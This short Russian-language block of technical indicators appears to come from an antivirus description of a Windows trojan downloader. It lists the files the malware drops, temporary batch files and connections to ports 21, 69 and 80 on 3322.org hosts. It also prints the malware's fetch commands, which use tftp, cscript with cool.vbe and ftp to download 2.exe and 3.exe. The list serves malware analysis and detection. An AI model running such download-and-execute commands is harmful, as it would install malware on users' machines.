Техническая информация
- <Текущая директория>\2.exe
- <Текущая директория>\2.exe (загружен из сети Интернет)
- <SYSTEM32>\tftp.exe -i wxdm.3322.org get 3.exe
- <SYSTEM32>\cscript.exe cool.vbe http://wx##.3322.org/2.exe 2.exe
- <SYSTEM32>\ftp.exe -s:cc1.txt
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\2[1].exe
- <Текущая директория>\2.exe
- <Текущая директория>\cool.vbe
- %TEMP%\bt6700.bat
- <Текущая директория>\cc1.txt
- %TEMP%\bt6700.bat
- %TEMP%\bt6700.bat
- <Текущая директория>\cool.vbe
- 'localhost':1038
- 'wx##.3322.org':80
- 'localhost':1035
- 'wx##.3322.org':21
- wx##.3322.org/2.exe
- DNS ASK wx##.3322.org
- 'wx##.3322.org':69